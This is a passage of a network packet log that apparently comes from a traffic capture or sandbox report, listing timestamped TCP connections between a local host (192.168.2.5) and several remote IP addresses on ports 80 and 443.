Nov 12, 2024 06:23:33.469808102 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.469810963 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.469821930 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.469841957 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.469913960 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.478709936 CET	443	54512	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:33.478773117 CET	443	54512	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:33.479080915 CET	54512	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:33.479351997 CET	54512	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:33.479351997 CET	54512	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:33.479373932 CET	443	54512	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:33.479387045 CET	443	54512	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:33.483700991 CET	54525	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:33.483728886 CET	443	54525	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:33.483860016 CET	54525	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:33.483936071 CET	54525	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:33.483948946 CET	443	54525	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:33.505686045 CET	443	54511	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:33.505744934 CET	443	54511	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:33.507742882 CET	54511	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:33.507744074 CET	54511	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:33.507813931 CET	54511	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:33.507829905 CET	443	54511	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:33.508053064 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.508079052 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.508096933 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.508111000 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.508117914 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.508124113 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.508143902 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.508153915 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.508202076 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.508202076 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.508233070 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.508246899 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.508258104 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.508277893 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.508338928 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.508362055 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.508389950 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.508400917 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.508413076 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.508413076 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.508430958 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.508440971 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.508461952 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.508485079 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.508501053 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.508513927 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.508522987 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.508654118 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.508673906 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.508678913 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.508694887 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.508713961 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.508724928 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.508738041 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.508806944 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.508820057 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.508833885 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.508833885 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.508853912 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.508897066 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.508919001 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.508953094 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.508965969 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.509006023 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.509006023 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.510394096 CET	443	54513	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:33.510461092 CET	54526	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:33.510503054 CET	443	54526	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:33.510672092 CET	443	54513	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:33.510750055 CET	54526	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:33.510754108 CET	54513	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:33.510792971 CET	54513	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:33.510792971 CET	54513	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:33.510806084 CET	443	54513	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:33.510813951 CET	443	54513	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:33.510957003 CET	54526	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:33.510987997 CET	443	54526	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:33.515609980 CET	54527	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:33.515623093 CET	443	54527	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:33.515724897 CET	54527	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:33.515898943 CET	54527	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:33.515909910 CET	443	54527	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:33.518383026 CET	443	54507	104.40.82.182	192.168.2.5
Nov 12, 2024 06:23:33.518399000 CET	443	54507	104.40.82.182	192.168.2.5
Nov 12, 2024 06:23:33.518625021 CET	54507	443	192.168.2.5	104.40.82.182
Nov 12, 2024 06:23:33.518635035 CET	443	54507	104.40.82.182	192.168.2.5
Nov 12, 2024 06:23:33.518831015 CET	54507	443	192.168.2.5	104.40.82.182
Nov 12, 2024 06:23:33.583415985 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.583431959 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.583503008 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.583503962 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.583550930 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.583555937 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.583568096 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.583590984 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.583604097 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.583623886 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.583636045 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.583641052 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.583642960 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.583652020 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.583673000 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.583673000 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.583734989 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.583802938 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.583823919 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.583837032 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.583884954 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.583884954 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.583925962 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.583945990 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.583965063 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.583969116 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.583977938 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.583986998 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.583991051 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.583997965 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.584006071 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.584011078 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.584048986 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.584048986 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.584187984 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.584248066 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.584259987 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.584271908 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.584285975 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.584309101 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.584309101 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.584410906 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.584434032 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.584500074 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.584512949 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.584525108 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.584537983 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.584551096 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.584639072 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.584662914 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.584706068 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.584717989 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.584737062 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.584754944 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.584754944 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.584759951 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.584775925 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.584785938 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.584789991 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.584805012 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.584809065 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.584830999 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.584955931 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.585052013 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.585064888 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.585077047 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.585133076 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.585145950 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.585160017 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.585172892 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.585242987 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.595454931 CET	443	54507	104.40.82.182	192.168.2.5
Nov 12, 2024 06:23:33.595472097 CET	443	54507	104.40.82.182	192.168.2.5
Nov 12, 2024 06:23:33.595622063 CET	54507	443	192.168.2.5	104.40.82.182
Nov 12, 2024 06:23:33.595633984 CET	443	54507	104.40.82.182	192.168.2.5
Nov 12, 2024 06:23:33.595705032 CET	54507	443	192.168.2.5	104.40.82.182
Nov 12, 2024 06:23:33.623742104 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.623765945 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.623779058 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.623790979 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.623810053 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.623811960 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.623826027 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.623832941 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.623847008 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.623853922 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.623855114 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.623858929 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.623864889 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.623872042 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.623878956 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.623908997 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.623922110 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.623925924 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.623925924 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.623943090 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.623994112 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.623999119 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.624028921 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.624039888 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.624049902 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.624139071 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.624151945 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.624223948 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.624243975 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.624253988 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.624265909 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.624274969 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.624412060 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.624414921 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.624490023 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.624501944 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.624514103 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.624531031 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.624713898 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.699346066 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.699363947 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.699379921 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.699393034 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.699417114 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.699429035 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.699434042 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.699443102 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.699456930 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.699470997 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.699480057 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.699486971 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.699501991 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.699512005 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.699512005 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.699517965 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.699531078 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.699537992 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.699549913 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.699609995 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.714648008 CET	443	54507	104.40.82.182	192.168.2.5
Nov 12, 2024 06:23:33.714670897 CET	443	54507	104.40.82.182	192.168.2.5
Nov 12, 2024 06:23:33.714764118 CET	54507	443	192.168.2.5	104.40.82.182
Nov 12, 2024 06:23:33.714791059 CET	443	54507	104.40.82.182	192.168.2.5
Nov 12, 2024 06:23:33.714832067 CET	54507	443	192.168.2.5	104.40.82.182
Nov 12, 2024 06:23:33.833270073 CET	443	54507	104.40.82.182	192.168.2.5
Nov 12, 2024 06:23:33.833293915 CET	443	54507	104.40.82.182	192.168.2.5
Nov 12, 2024 06:23:33.833375931 CET	54507	443	192.168.2.5	104.40.82.182
Nov 12, 2024 06:23:33.833400965 CET	443	54507	104.40.82.182	192.168.2.5
Nov 12, 2024 06:23:33.833470106 CET	54507	443	192.168.2.5	104.40.82.182
Nov 12, 2024 06:23:33.842988968 CET	443	54516	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:33.843148947 CET	443	54518	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:33.843266964 CET	443	54517	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:33.843271971 CET	54516	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:33.843288898 CET	443	54516	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:33.843429089 CET	54518	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:33.843436003 CET	443	54518	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:33.843535900 CET	54517	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:33.843550920 CET	443	54517	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:33.843630075 CET	443	54516	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:33.843867064 CET	443	54517	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:33.844046116 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.844342947 CET	54516	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:33.844400883 CET	443	54516	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:33.844444036 CET	443	54518	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:33.844563007 CET	54518	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:33.844676018 CET	54517	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:33.844731092 CET	443	54517	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:33.845479012 CET	54518	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:33.845529079 CET	443	54518	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:33.845721960 CET	54516	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:33.845722914 CET	54517	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:33.846029997 CET	54518	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:33.846035957 CET	443	54518	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:33.846618891 CET	443	54519	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:33.846888065 CET	54519	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:33.846895933 CET	443	54519	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:33.847860098 CET	443	54519	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:33.847920895 CET	54519	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:33.848208904 CET	54519	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:33.848273039 CET	443	54519	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:33.848829031 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.848860025 CET	54519	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:33.855606079 CET	443	54521	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:33.855819941 CET	54521	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:33.855844021 CET	443	54521	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:33.856868029 CET	443	54521	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:33.856956959 CET	54521	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:33.857289076 CET	54521	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:33.857351065 CET	443	54521	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:33.857933998 CET	54521	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:33.858374119 CET	443	54520	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:33.858622074 CET	54520	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:33.858649015 CET	443	54520	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:33.859519005 CET	443	54520	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:33.859611988 CET	54520	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:33.859877110 CET	54520	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:33.859932899 CET	443	54520	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:33.861736059 CET	54520	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:33.887326002 CET	443	54517	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:33.887339115 CET	443	54516	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:33.891326904 CET	443	54519	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:33.892360926 CET	54519	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:33.892363071 CET	54518	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:33.892371893 CET	443	54519	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:33.899334908 CET	443	54521	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:33.903331041 CET	443	54520	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:33.908230066 CET	54521	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:33.908230066 CET	54520	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:33.908246040 CET	443	54520	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:33.908255100 CET	443	54521	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:33.918273926 CET	443	54507	104.40.82.182	192.168.2.5
Nov 12, 2024 06:23:33.918294907 CET	443	54507	104.40.82.182	192.168.2.5
Nov 12, 2024 06:23:33.918417931 CET	54507	443	192.168.2.5	104.40.82.182
Nov 12, 2024 06:23:33.918442965 CET	443	54507	104.40.82.182	192.168.2.5
Nov 12, 2024 06:23:33.918638945 CET	54507	443	192.168.2.5	104.40.82.182
Nov 12, 2024 06:23:33.941212893 CET	54519	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:33.953290939 CET	443	54507	104.40.82.182	192.168.2.5
Nov 12, 2024 06:23:33.953322887 CET	443	54507	104.40.82.182	192.168.2.5
Nov 12, 2024 06:23:33.953383923 CET	443	54507	104.40.82.182	192.168.2.5
Nov 12, 2024 06:23:33.953387976 CET	54507	443	192.168.2.5	104.40.82.182
Nov 12, 2024 06:23:33.953418970 CET	54507	443	192.168.2.5	104.40.82.182
Nov 12, 2024 06:23:33.953686953 CET	54507	443	192.168.2.5	104.40.82.182
Nov 12, 2024 06:23:33.953752041 CET	54507	443	192.168.2.5	104.40.82.182
Nov 12, 2024 06:23:33.953767061 CET	443	54507	104.40.82.182	192.168.2.5
Nov 12, 2024 06:23:33.957290888 CET	54520	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:33.957361937 CET	54521	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:33.973611116 CET	443	54516	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:33.973638058 CET	443	54516	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:33.973696947 CET	443	54516	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:33.973717928 CET	54516	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:33.973759890 CET	54516	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:33.985907078 CET	443	54518	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:33.985928059 CET	443	54518	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:33.986176968 CET	54518	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:33.986193895 CET	443	54518	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:33.986589909 CET	443	54518	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:33.986721039 CET	54518	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:33.987185001 CET	54516	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:33.987198114 CET	443	54516	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:33.987207890 CET	443	54521	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:33.987226963 CET	443	54521	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:33.987303972 CET	443	54521	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:33.987334967 CET	54521	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:33.987649918 CET	54531	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:33.987668991 CET	443	54531	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:33.987696886 CET	54521	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:33.987761974 CET	54531	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:33.988744020 CET	54531	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:33.988758087 CET	443	54531	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:33.991713047 CET	443	54520	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:33.991734982 CET	443	54520	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:33.991790056 CET	54520	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:33.991815090 CET	443	54520	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:33.991837978 CET	443	54520	13.107.246.57	192.168.2.5
